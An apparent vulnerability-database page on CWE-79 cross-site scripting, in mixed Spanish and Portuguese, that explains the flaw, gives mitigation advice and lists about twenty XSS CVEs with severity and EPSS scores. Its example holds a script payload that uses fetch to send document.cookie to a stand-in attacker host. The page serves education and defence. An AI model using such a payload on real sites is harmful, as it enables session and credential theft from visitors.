Fallos del tipo CWE-79

30.662 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2021-32671CRITICALXSS vulnerability with translatorEPSS 40.0%CVE-2021-41182MEDIUMXSS in the `altField` option of the Datepicker widgetEPSS 39.4%CVE-2023-30777HIGHWordPress Advanced Custom Fields / Advanced Custom Fields PRO plugins <= 6.1.5 vulnerable to Cross Site Scripting (XSS)EPSS 39.0%CVE-2025-52876MEDIUMIn JetBrains TeamCity before 2025.03.3 reflected XSS on the favoriteIcon page was possibleEPSS 38.6%CVE-2024-43362HIGHStored Cross-site Scripting (XSS) when creating external links in CactiEPSS 38.6%CVE-2024-43364MEDIUMStored Cross-site Scripting (XSS) when creating external links in CactiEPSS 37.9%CVE-2024-22241MEDIUMAria Operations for Networks contains a cross site scripting vulnerability. A malicious actor with admin privileges can inject a malicious pEPSS 37.8%CVE-2023-0563LOWPHPGurukul Bank Locker Management System Assign Locker add-locker-form.php cross site scriptingEPSS 37.6%CVE-2021-20323—A POST based reflected Cross Site Scripting vulnerability on has been identified in Keycloak.EPSS 37.2%CVE-2021-21087MEDIUMColdFusion Improper neutralization of web input during page generation could lead to arbitrary JavaScript execution in the browserEPSS 37.1%CVE-2025-52877MEDIUMIn JetBrains TeamCity before 2025.03.3 reflected XSS on diskUsageBuildsStats page was possibleEPSS 37.0%CVE-2018-5550—Versions of Epson AirPrint released prior to January 19, 2018 contain a reflective cross-site scripting (XSS) vulnerability, which can allowEPSS 36.9%CVE-2022-28851MEDIUMAEM Reflected XSS Arbitrary code executionEPSS 36.8%CVE-2025-0370MEDIUMWP Shortcodes Plugin — Shortcodes Ultimate <= 7.3.3 - Authenticated (Contributor+) Stored Cross-Site Scripting via src ParameterEPSS 36.8%CVE-2025-20297MEDIUMReflected Cross-Site Scripting (XSS) on Splunk Enterprise through dashboard PDF generation componentEPSS 34.4%CVE-2025-10573CRITICALStored XSS in Ivanti Endpoint Manager prior to version 2024 SU4 SR1 allows a remote unauthenticated attacker to execute arbitrary JavaScriptEPSS 34.1%CVE-2024-32479HIGHLibreNMS's Improper Sanitization on Service template name leads to Stored XSSEPSS 34.1%CVE-2024-42008CRITICALA Cross-Site Scripting vulnerability in rcmail_action_mail_get->run() in Roundcube through 1.5.7 and 1.6.x through 1.6.7 allows a remote attEPSS 34.0%CVE-2024-4901HIGHImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting') in GitLabEPSS 33.5%CVE-2024-11182MEDIUMStored XSS vulnerability in MDaemon Email ServerEPSS 33.3%KEV